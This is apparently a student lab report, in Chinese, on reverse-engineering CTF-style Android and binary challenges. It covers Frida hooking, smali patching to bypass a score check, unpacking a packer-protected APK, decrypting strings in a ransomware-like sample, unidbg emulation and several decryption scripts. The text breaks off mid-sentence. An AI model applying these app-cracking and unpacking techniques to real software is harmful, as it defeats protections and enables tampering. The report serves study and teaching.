main(){    int reverse[24] = {0};    int i;    int local\_64 [24] = {0x73, 0x5e, 0x61, 0x72, 0x67, 0x2f, 0x6b, 0x72, 0x41, 0x30, 0x31, 0x69, 0x75, 0x76, 0x65, 0x30, 0x71, 0x5f, 99, 0x2f, 0x5c, 0x74, 0x5d, 0x66};    for (i = 0; i < 24; ++i) {      reverse[23 - i] = local\_64[i] + 9U ^ 9;    }//uncry1}rC03{wvg0sae1ltof    for(int j = 0; j < 24; ++j){      printf("%c", reverse[j]);    }//fotl1eas0gvw{30Cr}1yrcnu    printf("\n");    int result[3][9];    int k = 0;    for(i = 0; i < 24; i++){      if(i < 18){        result[i % 3][i / 3] = reverse[i];      }else{        result[i % 2][(i - 18) / 2 + 6] = reverse[i];      }    }    for(k = 0; k < 24; k++){      printf("%c",result[k / 9][k % 9]);    }//flag{C1rno1sv3rycute0w0}    return 1;  }   4.day44.1 rps.apk的动态逆向分析配置环境 因为使用的是MuMu模拟器，所以在这里首先尝试下载frida-server-16.2.5-android-x86包，在操作机上将解压后的包发送到android模拟器中    在终端2中通过adb获取到android机的shell    进入到data/local/tmp目录下    运行上一步中发送过来的frida-server-16.2.5-android-x86包    发现不能够识别，由此断定应该下载frida-server-16.2.5-android-x86\_64包，重复上面的步骤之后运行frida-server-16.2.5-android-x86\_64包    如果不会输出任何回显则说明运行正常  接下来进入到终端1中执行frida-ps -U,可以显示出android机正在运行的所有的pid以及应用包。    在这里frida的环境已经全部配置完毕 分析代码 将apk包使用jadx工具打开    可以找到onCreate方法如下  该方法首先设置布局内容，通过setContentView(R.layout.activity\_main)设置了Activity所使用的布局文件为activity\_main.xml。  然后初始化UI元素，通过findViewById()方法，onCreate()会初始化Activity中的UI元素，初始化了Button和TextView等元素。  之后设置事件监听器，为UI元素设置事件监听器，以便在用户与界面交互时响应相应的动作。通过setOnClickListener()方法为按钮设置了点击事件的监听器。  最后初始化变量和状态，在onCreate()中，还可以进行一些变量的初始化或状态的设置。初始化了一些整型变量flag、m、n和cnt，并将flag初始化为0。    找到MainActivity方法发现可以找到onClice方法如下  onClick()方法是一个事件处理方法，用于处理用户与界面交互时的点击事件。当用户点击与onClick()方法相关联的UI元素时（比如按钮），系统会自动调用onClick()方法来响应用户的操作。onClick()方法被实现在MainActivity类中，并且该类实现了View.OnClickListener接口，这意味着MainActivity类负责处理点击事件。  onClick()方法的作用如下：  首先处理点击事件： 当用户点击与onClick()方法相关联的UI元素时，系统会自动调用onClick()方法，通过判断点击的是哪个UI元素（通过View v参数传入），可以执行相应的逻辑操作。  之后执行业务逻辑： 在onClick()方法中，可以编写业务逻辑来响应用户的点击操作。根据用户点击的不同按钮，设置了相应的文本内容，并触发了一段延迟执行的任务（通过handler.postDelayed()方法），最终更新了文本视图的显示内容。  最后处理多个UI元素的点击事件： 由于onClick()方法是通过实现View.OnClickListener接口来实现的，因此可以用于处理多个UI元素的点击事件。通过在onCreate()方法中为各个UI元素设置相同的点击监听器（setOnClickListener(this)），当用户点击任意一个按钮时，都会调用onClick()方法，从而执行相应的逻辑。    继续查看文件的showMessageTask方法  在run()方法中定义了游戏结果的显示逻辑。根据玩家和计算机的选择，更新了文本视图tv3的显示内容，显示出游戏结果，比如"WIN"、"LOSE"或者"DRAW"，同时根据不同结果更新了计分器cnt的值。  当计分器cnt达到一定条件时（这里是达到1000），显示了最终的游戏结果，即一串带有特定格式的字符串，作为游戏的最终胜利条件。  在处理完游戏结果后，将flag置为0，表示游戏结果已经处理完毕，可以进行下一轮游戏。   动态hook 在官方网站上下载ctf.py文件如下      在模拟器中打开该程序后在终端1中直接运行该程序，发现并不能与应用包相连    查看当前正在运行的进程发现目标进程rock\_paper\_scissors有回显    在经过多种方式的尝试之后在这里放弃使用python脚本，绕过python直接将官方给出的python中的JavaScript代码拿出保存到1.js文件中如下    直接使用js代码通过包名对目标程序进行hook如下，发现与使用python的结果一样，同样是不能够识别包名    在网上查找资料发现可以使用进程id代替包名来进行hook的方法。首先查看目标进程的pid    直接通过pid对目标程序使用JavaScript脚本进行hook，点击任意按钮之后发现终端中有正常的输出    进入到模拟器中查看目标应用发现成功将flag输出   4.2 rps.apk的静态逆向分析 通过对jeb中的反编译代码的分析，可以知道软件是通过检测对象中cnt的值是否等于1000来决定是否输出flag，并且flag的值为(1000+calc())\*107，只有calc的值是未知的，但由于calc调用的是本地库中的函数，并不在smali代码文件中，那么尝试直接跳过cnt的判断输出flag的值来猜测calc函数的返回值。  在Android Killer中的工程搜索中查询”calc()”来快速定位MainActivity类和方法，在MainActivity$1.smali文件中找到了MainActivity类中的run方法。    通过阅读并分析smali代码得知下图所示代码是计算并输出flag的代码，在此处设立标签abc    在run方法的开始处加入goto :abc代码，直接跳转到标签abc处，即输出flag，由于输出flag代码后边紧接的就是flag初始化为0和return返回代码，不用考虑对其他代码的影响。    将重新编译后的apk安装到安卓机中，多次运行得到的flag的值都是749，因为cnt的初始值为0，可以得到calc函数的返回值是固定的，值为749/107=7。    由于calc返回值是常量7，接下来我们可以通过设置cnt的值为1000，直接输出目标flag，那么在run方法开始处直接设置cnt的值为1000，之前的修改保持不变具体代码如下图。    重新编译项目并安装到安卓机中，运行即可得到flag的值为107749。   4.3 wzry.apk的逆向分析 啥都不知道，先运行一下看看（中间激活过程忘记截图了，影响不大）    我们打开允许在其他应用上显示得到如下    看到字符串我们直接到jeb中进行搜索对应字符串    不过没有结果，那么这些字符串在那些地方嘞，除了资源文件，剩下的就是将字符串进行加密后存到程序中了，之后在输出时解密即可。那么我们来到MainActivity下进行查看（中文注释是后来写上去的）    我们发现这个东东没啥功能，无非就是刚启动时提示激活来获取“在其它应用上显示”的权限，之后条用onCreate()来弹出前面的烦人的红框，我们看到这些都使用到了jiemi类下的decrypt方法，于是我们到里面查看一番    整体查看后就如下四个方法，我们以示意图说明    Jiemi类传入两个字符串A（hex），B（string）  1.对A转字符串处理得到C（string）  2.将<C,B>传入解密函数  3.B用来生成密钥，不足32就补0，得到密钥D  4.C，D用AES+ECB+PKCS5填充  5.得到明文  有了上面思路我们就编写加密算法  from Crypto.Cipher import AES  from Crypto.Util.Padding import unpad  def create\_key(s):      key = (s if s else "") + "0" \* (32 - len(s))      return key[:32].encode('utf-8')  # 确保密钥长度为32字节    def decrypt(arr\_b, s):      key = create\_key(s)      cipher = AES.new(key, AES.MODE\_ECB)      decrypted = unpad(cipher.decrypt(arr\_b), AES.block\_size)      return decrypted    def hex2byte(s):      if s is None or len(s) < 2:          return bytes()        s = s.lower()      v = len(s) // 2      arr\_b = bytearray(v)      for v1 in range(v):          arr\_b[v1] = int(s[2 \* v1:2 \* v1 + 2], 16) & 0xFF        return bytes(arr\_b)      def main():      s = "9C4B74356F689A1ABA615C3E0253A2EB4D596E489CC75544E9193A80A457D136F9F9DEEB53B9E70656D6DA6CCC45E631"      s1 = "android"      arr\_b1 = hex2byte(s)      print(str(arr\_b1))      arr\_b2 = decrypt(arr\_b1, s1)      print(arr\_b2.decode('utf-8'))  # 将解密后的字节数组转换为字符串并打印    if \_\_name\_\_ == "\_\_main\_\_":      main()    检查是否是管理员的情况如下，会设置锁屏密码“6699”，但是本人使用的雷电模拟器在重开机后并没有进行锁屏处理，推测是安卓版本问题    我们这里是安卓9的版本（绿化过的）   5.day55.1 signed.apk的逆向分析5.1.1软件加固识别 首先将apk包放到app messenger中查看基本信息，可以发现该apk包使用了梆梆加固进行加壳   5.1.2软件脱壳 在这里我们尝试使用frida-dump工具进行脱壳，首先查看对应程序的包名如下    进入到工具目录下进行脱壳但有报错    同时发现应用程序会直接闪退，由此断定是使用的模拟器的android版本有问题，更改MuMu模拟器机型，将机型设置为尽可能老的型号来确保android版本更老    重新执行脱壳工具产生如下报错    在网络上查找原因发现可能是frida版本问题，本人使用的版本为16.2.5    根据[frida报错need Gadget....(有效解决方法)\_failed to spawn: need gadget to attach on jailed a-CSDN博客](https://blog.csdn.net/m0_65663088/article/details/135994176)的提示下载文件frida-gadget-16.2.5-android-arm64.so.xz    需要将下载好的文件解压之后放置到C:\Users\XXX\AppData\Local\Microsoft\Windows\INetCache\frida\目录下之后文件重命名为gadget-android-arm64.so  这里需要注意的是INetCache目录在文件夹下不可见，需要在终端中进入到INetCache\下创建frida目录，将文件复制到该目录如下所示    重新执行指令，在这里因为android模拟器版本问题可能会出现多次程序闪退问题，多次重新执行即可    进入到对应的文件夹可以发现生成的dex对应文件    将生成的文件全部拖入jadx中进行反编译，成功获取源码实现脱壳   5.1.3分析dex文件格式 java程序在编译成class文件之后还需要使用dx工具将所有的class文件整合到一个dex文件中，目的是使得其中的各个类都能够共享数据。  从宏观上看dex文件结构由多个不同的数据体拼接到一起，组成dex文件的结构体及其含义如下表所示   |  |  | | --- | --- | | 结构体 | 含义 | | header | dex文件头部，记录整个dex文件的相关属性 | | string\_ids | 字符串数据索引，记录了每个字符串在数据区的偏移量 | | type\_ids | 类型数据索引，记录了每个类型的字符串索引 | | proto\_ids | 原型数据索引，记录了方法声明的字符串，返回类型字符串，参数列表 | | field\_ids | 字段数据索引，记录了所属类，类型以及方法名 | | method\_ids | 方法id区，记录方法所属类名，方法声明以及方法名等信息 | | class\_defs | 类定义区，记录指定类各类信息，包括接口，超类，类数据偏移量 | | data | 数据区，保存了各个类的真是数据 | | link\_data | 连接数据区 |  header结构 header结构体中记录了dex文件的基本信息以及大致的数据分布，其长度固定为0x70，其中每个字段的具体意义如下表所示   |  |  |  |  | | --- | --- | --- | --- | | 字段名称 | 偏移值 | 长度 | 说明 | | magic | 0x0 | 8 | 魔数字段，值为"dex\n035\0" | | checksum | 0x8 | 4 | 校验码 | | signature | 0xc | 20 | sha-1签名 | | file\_size | 0x20 | 4 | dex文件总长度 | | header\_size | 0x24 | 4 | 文件头长度，009版本=0x5c,035版本=0x70 | | endian\_tag | 0x28 | 4 | 标示字节顺序的常量 | | link\_size | 0x2c | 4 | 链接段的大小，如果为0就是静态链接 | | link\_off | 0x30 | 4 | 链接段的开始位置 | | map\_off | 0x34 | 4 | map数据基址 | | string\_ids\_size | 0x38 | 4 | 字符串列表中字符串个数 | | string\_ids\_off | 0x3c | 4 | 字符串列表基址 | | type\_ids\_size | 0x40 | 4 | 类列表里的类型个数 | | type\_ids\_off | 0x44 | 4 | 类列表基址 | | proto\_ids\_size | 0x48 | 4 | 原型列表里面的原型个数 | | proto\_ids\_off | 0x4c | 4 | 原型列表基址 | | field\_ids\_size | 0x50 | 4 | 字段个数 | | field\_ids\_off | 0x54 | 4 | 字段列表基址 | | method\_ids\_size | 0x58 | 4 | 方法个数 | | method\_ids\_off | 0x5c | 4 | 方法列表基址 | | class\_defs\_size | 0x60 | 4 | 类定义标中类的个数 | | class\_defs\_off | 0x64 | 4 | 类定义列表基址 | | data\_size | 0x68 | 4 | 数据段的大小，必须4k对齐 | | data\_off | 0x6c | 4 | 数据段基址 |  string\_ids结构 该区块是一个偏移量string\_data\_off列表，每个偏移量对应了一个真正的字符串资源，每个偏移量格式为uint占32位。可以通过偏移量找到对应的实际字符串数据。最终这个偏移的位置应该是落在数据区的 type\_ids结构 区块是一个索引列表，每一项的格式为uint占32位，索引的值对应字符串id区域偏移量列表中的某一项如果我们要找到某个类型的值，需要先根据类型id列表中的索引值去字符串id列表中找到对应的项，这一项存储的偏移量对应的字符串资源就是这个类型的字符串描述。 proto\_ids结构 方法原型id区是一个方法原型id的列表，列表中每一项的数据格式如下表所示   |  |  |  | | --- | --- | --- | | 数据结构 | 格式 | 意义 | | shorty\_idx | uint | 一个字符串d区的索引，这个索引对应的字符串引列表项中的偏移量存储的字符串是这个方法原型的短格式描述符。 | | return\_type\_idx | uint | 这个方法原型的返回值类型在类型d列表中索引 | | parameters\_off | uint | 这个方法原型的参数值列表类型数据的偏移量。0代表没有参数。 |  field\_ids结构 成员id区存储着原型id列表，其数据结构如下表所示   |  |  |  | | --- | --- | --- | | 数据结构 | 格式 | 意义 | | class\_id | ushort | 这个成员的所在的类在类型id列表中的索引 | | type\_id | ushort | 这个成员的类型在类型d列表中的索引 | | name\_idx | uint | 这个成员的名字在字符串id列表的索引 |  method\_ids结构 方法id区是一个保存方法id的列表，其列表结构如下所示   |  |  |  | | --- | --- | --- | | 数据结构 | 格式 | 意义 | | class\_idx | ushort | 这个方法所在的类在类型d列表中的索引 | | proto\_idx | ushort | 这个方法的方法原型在方法原型d列表中的索引 | | name\_idx | uint | 这个方法的名称在字符串d列表中的英碧吴小污 |  class\_defs结构 类定义区保存的是类定义的列表，其列表结构如下所示   |  |  |  | | --- | --- | --- | | 数据结构 | 格式 | 意义 | | class\_idx | uint | 这个类的类型在类型id列表中的索引 | | access\_flags | uint | 这个类的访问标记（如：public,final等） | | superclass\_idx | uint | 父类对应的类型在类型id列表中的索引 | | interfaces\_off | uint | 这个类使用的接口列表在文件中的偏移量。 | | source\_file\_idx | uint | 这个类的源码文件的文件名称在字符串资源列表的索引位置 | | annotations\_off | uint | 这个类的注解数数据在文件中的偏移量 | | class\_data\_off | uint | 这个类的具体数据在文件中的偏移量 | | static\_values\_off | uint | 静态成员的初始值列表在文件中的偏移量 |  5.1.4查找flag 首先搜索flag{字段    定位到该字段如下    flag保存在一个onClick函数中，分析该函数的功能  public void onClick(View view) {: 这是一个公有方法，用于处理点击事件，它接受一个View类型的参数view，表示被点击的视图对象。  String obj = editText.getText().toString();: 这一行代码从名为editText的文本框中获取用户输入的文本，并将其转换为字符串类型，存储在变量obj中。  String obj2 = editText2.getText().toString();: 同样地，这一行代码从名为editText2的另一个文本框中获取用户输入的文本，并将其转换为字符串类型，存储在变量obj2中。  if (obj.equals(obj2)) { MainActivity.showmsg("user is equal passwd"); }: 这是一个条件判断语句，如果obj和obj2的值相等，则调用MainActivity类的showmsg方法显示消息"用户和密码相同"。  else if (obj.equals("admin") & obj2.equals("pass71487")) { MainActivity.showmsg("success"); MainActivity.showmsg("flag is flag{borring\_things}"); }: 这是另一个条件判断语句，如果obj等于"admin"且obj2等于"pass71487"，则调用MainActivity类的showmsg方法分别显示"成功"和"flag is flag{borring\_things}"。  else { MainActivity.showmsg("wrong"); }: 如果以上两个条件都不满足，则调用MainActivity类的showmsg方法显示"错误"。    因此我们只要在登陆的时候用户名使用admin 密码使用pass71487即可获取到flag如下所示   5.2 jstz.apk的逆向分析5.2.1配置环境 首先下载idea社区版    然后下载maven，将压缩包解压之后配置环境变量MAVEN\_HOME，值设置为maven的解压路径。    在系统变量的Path中添加环境变量    在终端中查看maven版本看是否配置完毕，已经配置完毕    之后再idea中找到Maven模块，设置模块地址为maven的安装地址    然后在github中将unidbg代码克隆到本地项目中  git clone https://github.com/zhkl0228/unidbg.git  运行代码出现如下报错    查找原因应该是本机的java版本为22，unidbg的版本是7，下载可以找到的最老的java版本java17下载后运行程序如下所示，成功配置Unidbg环境   5.2.2实验步骤App Messenger分析 首先使用App Messenger查看该apk程序的基本信息如下   jadx分析 因为程序并没有进行加壳，所以我们可以直接将程序使用jadx打开如下所示，可以发现程序只有一个类    点击程序的START按钮后便会执行onClick方法    执行的runnable代码如下，  将当前的系统时间（以毫秒为单位）赋值给 t2。j 表示从上一次记录时间（t1）到现在（t2）的时间差，也就是上一次更新操作后至本次操作的时间间隔（毫秒）。df\_all 表示从第一次开始计时（t，可能在某个特定事件触发时设置）到当前时间（t2）的总时间差。  然后执行if语句，检查自上一次更新以来是否已经过了100毫秒。如果是则将起始时间点t1向前推进100毫秒。这意味着run方法将基于新的时间点继续监控，然后调用本地方法 p，传入当前的 zygote 值，并更新 zygote，最后将 df\_all（以毫秒计的总时间差）转换为秒，并保留一位小数显示在 textView 上。这通过将毫秒数除以100并向下取整，然后除以10.0来完成，得到以秒为单位的时间。    程序点击END按钮时会执行如下onClick方法，  该方法是当df\_all变量的值即程序运行的时间为9999900ms时就将zygote调用j方法进行输出，输出的内容就是我们需要的flag    综上所述我们可以得出程序的基本逻辑是点击START按钮之后每隔100ms就使用p方法对变量zygote更新，点击END时如果时间为9999900ms则计算输出正确flag IDA分析 使用ida32打开lib/armeabi目录下的libj.so文件如下可以发现函数列表中确实存在三个静态注册的函数    首先打开j方法F5查看反汇编后的结果，发现j方法会固定返回字符串“FlagLostHelpMeGetItBack”但这并不是正确的flag，这也说明我们之前尝试的获取flag的方法获取到的该字符串应该是错误的。      接着查看init方法的反汇编代码，该方法是接受一个double类型的变量取高四位和第四位作为两个数据计算一个含有“libinit”的字符串并返回          接下来查看bak\_libj.so文件  发现该文件中同样有j方法，其反编译后的代码如下所示，该方法同样是接受double类型的数据，高四位与低四位参与运算后获取一个含有“hav3f4n”字符串的值   编写frida脚本获取zygote 使用教程中提供的脚本如下所示    查看包名和pid    frida -U -f an.droid.j -l 2.js会出现以下报错    分析原因是因为p方法无法定位到  编写脚本查看mainActivity下的所有方法如下    执行结果如下，能够找到p方法   Unidbg 放弃使用frida计算下面尝试教程中所说的全程Unidbg  首先需要为unidbg搭架子  在已经下载好的Unidbg包下面D:\software\unidbg\unidbg-android\src\test\java\com目录下新建目录jstz作为我们的项目位置，然后将apk文件和两个so文件放到该项目包并创建MainActivity.java文件    编写MainActivity文件的内容如下所示  package com.jstz;  import com.github.unidbg.AndroidEmulator; import com.github.unidbg.Module; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.AndroidResolver; import com.github.unidbg.linux.android.dvm.\*; import com.github.unidbg.memory.Memory; import com.github.unidbg.pointer.UnidbgPointer; import com.github.unidbg.utils.Inspector; import com.sun.jna.Pointer; import keystone.Keystone; import keystone.KeystoneArchitecture; import keystone.KeystoneEncoded; import keystone.KeystoneMode;  import java.io.File; import java.util.ArrayList; import java.util.Arrays; import java.util.List;  public class MainActivity extends AbstractJni {  private final AndroidEmulator emulator;  private final VM vm;  private final Module module;   MainActivity() {  // 创建模拟器实例,进程名建议依照实际进程名填写，可以规避针对进程名的校验 emulator = AndroidEmulatorBuilder.for32Bit().setProcessName("com.jstz.MainActivity").build();  // 获取模拟器的内存操作接口 final Memory memory = emulator.getMemory();  // 设置系统类库解析 memory.setLibraryResolver(new AndroidResolver(23));  // 创建Android虚拟机,传入APK，Unidbg可以替我们做部分签名校验的工作 vm = emulator.createDalvikVM(new File("unidbg-android\\src\\test\\java\\com\\jstz\\jstz.apk"));  // 加载目标SO  DalvikModule dm = vm.loadLibrary(new File("unidbg-android\\src\\test\\java\\com\\jstz\\bak\_libj.so"), true); // 加载so到虚拟内存 //获取本SO模块的句柄,后续需要用它 module = dm.getModule();  vm.setJni(this); // 设置JNI  vm.setVerbose(true); // 打印日志 // dm.callJNI\_OnLoad(emulator); // 调用JNI OnLoad  }   public static void main(String[] args) {  MainActivity test = new MainActivity();  System.out.println(test);  } }  运行之后得到结果如下,出现正确的回显值说明架子已经搭好    修改MainActivity的内容  运行程序如下发现不能够识别ProxyDvmObject    在导入栏中导入该包    继续运行出现以下报错    同样是找不到对应的方法  在更换调用方法的方式之后进行调试发现第二次的zygote的值会被计算为287，与我们想要的值不符合，所以断定更换调用方法之后仍然不能解决问题  最终修改完成的代码如下所示  package com.jstz;  import com.github.unidbg.AndroidEmulator; import com.github.unidbg.Module; import com.github.unidbg.Symbol; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.AndroidResolver; import com.github.unidbg.linux.android.dvm.\*; import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject; import com.github.unidbg.linux.android.dvm.wrapper.DvmInteger; import com.github.unidbg.memory.Memory; import com.github.unidbg.pointer.UnidbgPointer; import com.github.unidbg.utils.Inspector; import com.sun.jna.Pointer; import keystone.Keystone; import keystone.KeystoneArchitecture; import keystone.KeystoneEncoded; import keystone.KeystoneMode;  import java.io.File; import java.util.ArrayList; import java.util.Arrays; import java.util.List;  public class MainActivity {  int zygote = 1357024680;  public static void main(String[] args) {  MainActivity mainActivity = new MainActivity();   // 使用Unidbg模拟执行99999次并计算Flag  long start = System.currentTimeMillis();  for(int j =0;j<99999;j++){  mainActivity.zygote = mainActivity.runP(mainActivity.zygote);  }  System.out.println("zygote = " +mainActivity.zygote);  System.out.println("flag{" + mainActivity.runInit(mainActivity.zygote) + "}");  long times = System.currentTimeMillis() - start;  System.out.println("times = " + times);  }  private final AndroidEmulator emulator;  private final Memory memory;  private final VM vm;   public MainActivity() {  emulator = AndroidEmulatorBuilder  .for32Bit().build();  memory = emulator.getMemory();  memory.setLibraryResolver(new AndroidResolver(19));  vm = emulator.createDalvikVM(new File("unidbg-android\\src\\test\\java\\com\\jstz\\jstz.apk"));  vm.setVerbose(false);  vm.loadLibrary("j",false);  }   public String runInit(int i){  DvmObject obj = ProxyDvmObject.createObject(vm,this);  DvmObject object = obj.callJniMethodObject(emulator, "Java\_an\_droid\_j\_MainActivity\_init", i);  String result = (String) object.getValue();  return result;  }   public int runP(int i){  DvmObject obj = ProxyDvmObject.createObject(vm,this);  int number = obj.callJniMethodInt(emulator, "Java\_an\_droid\_j\_MainActivity\_p", i);  return number;  } }    但是该代码在执行过后仍然会产生如下报错，分析报错仍然为找不到具体包的位置    到这里因为时间原因以及没有Java基础实在不能够将结果进行复现，对实验中反复出现的报错进行分析初步推断可能是Unidbg版本与Android的版本不适配从而导致无法找到对应的方法的位置，在尝试使用frida和unidbg都出现相同的报错推测可能是这样的原因 5.3 getflag.apk的逆向分析 首先我们进行安装，来看看是干什么的（在安卓9 of雷电模拟器下）    提示上说“并不是一定非得登录”，我们先随便试试    我们来jeb中查找一下“Login Failure”    我们据此为线索，查看MainActivity，反编译结果如下    解释一下：开启软件，创建两个窗口，一个textview1表明用户名，另一个textview2表明登陆密码，然后给“this.str赋予一个AES解密后的值”。点击登录按钮时，会检查上面两个选框内容   1. 将用户名看看是否等于“hillstone” 2. 密码经过“getSecurePassword”方法查看是否等于“4368354b57abefdb3da930aa1f7db42c3a1d318401d7474c25f5a14bbaf8fb34” 3. 相等就输出前面的“this.str”（合理猜测这应该就是flag）   那么我们先看看前面说的“getSecurePassword”方法，可以看到这个应该是一个SHA-256哈希算法，我们输入的密码经过sha256处理，辣么我们就没办法了。    但是前面提示说了，“不用非得登录”，我们直接看对于“this.str”的处理过程，貌似又是一个AES加密，但用的是CBC模式，我们还是到decrypt中查看一下：    很好，就是一个普通的AES算法（“AES/CBC/PKCS5Padding”），没有什么额外的处理：   1. “HyKsaPpqT4l436tHiSEXtIlLgVV4GE7mGc2WoI0KlP2YhKFco7OPcJYtS58BFwDq”经过base64解码之后当作密文， 2. 密钥和初始化向量为“new byte[]{0xC, 0x20, 0xD, 0xE, 0x17, 0x6C, 0x1F, 0x6C, 0x2C, 0x79, 0x2A, 0x79, 0x2A, 0x71, 0x29, 0x7C}”   那么我们直接丢给GPT生成一个AES解密脚本，最终修改后代码如下  from Crypto.Cipher import AES  from Crypto.Util.Padding import unpad  import base64  import binascii    def decrypt\_aes\_cbc(ciphertext, key, iv):      cipher = AES.new(key, AES.MODE\_CBC, iv)      decrypted\_data = cipher.decrypt(ciphertext)      unpadded\_data = unpad(decrypted\_data, AES.block\_size, style='pkcs7')      return unpadded\_data.decode('utf-8')    # 输入加密的密文、密钥和初始化向量  ciphertext = base64.b64decode('HyKsaPpqT4l436tHiSEXtIlLgVV4GE7mGc2WoI0KlP2YhKFco7OPcJYtS58BFwDq')  key\_hex = '0C200D0E176C1F6C2C792A792A71297C'  iv\_hex = '0C200D0E176C1F6C2C792A792A71297C'  key = bytes.fromhex(key\_hex)  iv = bytes.fromhex(iv\_hex)    # 解密  decrypted\_text = decrypt\_aes\_cbc(ciphertext, key, iv)  print("解密后的明文为:", decrypted\_text)  得到的结果如下： | | | | | |
| 五、实验过程分析 1.本周的实验最重要的点是在于要配置好每一个实验所需要用到的环境，在第三天配置adb时因为使用的模拟器不同所用的操作机PC与android虚拟机的连接产生过一些问题；在第四天配置frida环境时因为下载的frida版本过高也引发过一些问题；环境在第五天的Unidbg环境的配置过程中就因为Java的版本不适配从而造成构造好的攻击代码无法张正常运行的报错。  2.在实验的过程中要注意灵活使用各个工具对给出的题目进行分析，在解决具体题目的时候如果没有思路可以先将题目放到对应的分析工具中，有时候工具的分析结果也会为我们解题提供思路。  3.在实验的过程中出现过很多次Android版本与给出的题目的apk文件的版本不适配的问题，由此也引发了应用程序闪退以及勒索软软件无法正常实现锁屏等现象。 | | | | | |
| 六、实验结果总结 第一天的任务全部完成，成功将给出的程序进行脱壳并使用IDA进行分析，最终利用python脚本求解出了flag的内容  第二天的任务全部完成，成功分析了恶意代码start.exe在主机中所进行的恶意操作。  第三天的任务全部完成，成功实现了对给出的三个apk文件的破解  第四天的任务全部完成，在第四天的任务rps.apk逆向分析中采用了静态分析和动态分析两种方法获取flag的信息。并且完成了对勒索软件wzry.apk的逆向分析。  在第五天的实验中成功完成了任务一和任务三，获取到了对应的flag，任务二因为不熟悉Java语言以及可能的Android版本与Unidbg版本不适配问题虽然已经成功搭好Unidbg架子并与任务二的项目包连接，但是无论尝试各种方法均会产生无法找到方法的报错。 | | | | | |
| 七、各人实验贡献与体会赵伯俣1.任务一 首先可以看到函数开始的内存地址为0x080484EB，定义一个名为vuln的函数，其中CODE XREF: main+16↓p代表这是一个交叉引用，在main函数中起始地址偏移16字节的位置有代码引用了该函数，  .text:080484EB public vuln  .text:080484EB vuln proc near ; CODE XREF: main+16↓p  .text:080484EB  因此该部分的代码应该反汇编为  void vuln()  然后该函数会定义四个双字（dword）类型的局部变量，其中var\_10相对于基指针向低地址偏移0x10个字节，var\_C相对于基指针向低地址偏移0xC个字节，var\_8和var\_4与其相同，观察后面的汇编指令可以知道给变量赋值的值为数值形式，并且变量大小为双字32位，所以可以将其设置为int类型,为了方便后面的步骤将四个变量分别定义为a,b,c,d  .text:080484EB var\_10 = dword ptr -10h  .text:080484EB var\_C = dword ptr -0Ch  .text:080484EB var\_8 = dword ptr -8  .text:080484EB var\_4 = dword ptr -4  .text:080484EB  因此该部分的代码应该反汇编为  int a;  int b;  int c;  int d;  接下来首先将ebp的内容入栈保存调用者的基址指针，将堆栈指针（esp）的值赋给基址指针（ebp）。这一步建立了当前函数的堆栈帧，将 ebp 设置为当前栈帧的基址，然后在栈上分配 16 （0x10）字节的空间用于局部变量。之后将0xA存储到var\_10的内存地址中，将0x0存储到var\_4和var\_c中，之后无条件跳转到标签 loc\_804851D  .text:080484EB ; \_\_unwind {  .text:080484EB push ebp  .text:080484EC mov ebp, esp  .text:080484EE sub esp, 10h  .text:080484F1 mov [ebp+var\_10], 0Ah  .text:080484F8 mov [ebp+var\_4], 0  .text:080484FF mov [ebp+var\_C], 0  .text:08048506 jmp short loc\_804851D  .text:08048508 ;  因此该部分的代码可以反汇编为  a=10;  d=0;  b=0;  首先定义一个代码位置的标签loc\_8048508，接下来将var\_4（d）变量加1，之后将该变量与立即数5进行比较，如果 var\_4 (d)的值小于或等于 5（Less than or Equal），则执行一个短距离跳转到 loc\_8048519 标签；如果var\_4(d)的值大于5则将0x2c保存到变量var\_8（c）中  .text:08048508  .text:08048508 loc\_8048508: ; CODE XREF: vuln+38↓j  .text:08048508 add [ebp+var\_4], 1  .text:0804850C cmp [ebp+var\_4], 5  .text:08048510 jle short loc\_8048519  .text:08048512 mov [ebp+var\_8], 2Ch  .text:08048519  因此该部分代码可以反汇编为  d++;  if(d>5)  {  c=44;  }  else{}  接下来这段指令只是将变量b加1，并且是在上面的if-else语句中,由此可以填入上一步中的else中  .text:08048519 loc\_8048519: ; CODE XREF: vuln+25↑j  .text:08048519 add [ebp+var\_C], 1  .text:0804851D  反汇编结果为  else  {  b++;  }  最后这一部分是程序开始后的跳转位置，首先将b的值加载到eax寄存器中，然后比较eax与a的值，即如果b<a则跳转到loc\_8048508位置，如果b>=a则将c的值加载到eax中设置函数的返回值，最后进行代码return  .text:0804851D loc\_804851D: ; CODE XREF: vuln+1B↑j  .text:0804851D mov eax, [ebp+var\_C]  .text:08048520 cmp eax, [ebp+var\_10]  .text:08048523 jl short loc\_8048508  .text:08048525 mov eax, [ebp+var\_8]  .text:08048528 leave  .text:08048529 retn  .text:08048529 ; } // starts at 80484EB  .text:08048529 vuln endp  这段程序可以反汇编成  if(b<a)  {  jump loc\_8048508;  }  else  {  return c;  }  因此最终我们可以得到的c语言程序为  void vuln(){  int a;  int b;  int c;  int d;  a=10;  d=0;  b=0;  while(b<a){  d++;  if(d>5){  c=44;  }  else{  b++;  }  }  return c;  }  将该程序进行格式优化可以得到最终的C程序  void vuln(){  int a=10;  int b=0;  int c;  int d=0;  while(b<a){  d++;  if(d>5){  c=44;  }  else{  b++;  }  }  return c;  } 2.任务二2.1key简单变换 该解密程序将密文的每一位与密文下标的数值进行异或操作  secret = b"\x58\x31\x70\x5C\x35\x76\x59\x69\x38\x7D\x55\x63\x38\x7F\x6A"  def decrypt(secret):  szKey = bytearray(20)  for i in range(len(secret)):  szKey[i] = secret[i] ^ i return szKey.split(b'\x00')[0].decode()  print("解密密钥:", decrypt(secret))  运行结果为    获取明文密钥  X0r\_1s\_n0t\_h4rd 2.2key编码转换 将密文base64解密即可获取解密后的密钥  import base64  secret = "QjRzZTY0X2k1X2MwbW1vbg=="  def decrypt\_secret(secret):  decoded\_secret = base64.b64decode(secret)  return decoded\_secret.decode()  print("Decrypted Key:", decrypt\_secret(secret))  运行结果为    获取明文密钥  B4se64\_i5\_c0mmon 2.3key密钥加密 首先使用提供的密钥进行多次交换操作来“混洗”排列数组。每个元素都与另一个通过密钥和当前状态计算得出的索引的元素交换。密钥长度可能不等于 256，因此使用 key[i % len(key)] 确保即使密钥较短也能重复使用。  然后因为RC4 是对称的，这意味着加密和解密使用相同的操作。  函数接受已初始化的 S 数组和要处理的数据（可以是明文或密文）。  使用两个指针 i 和 j 在 S 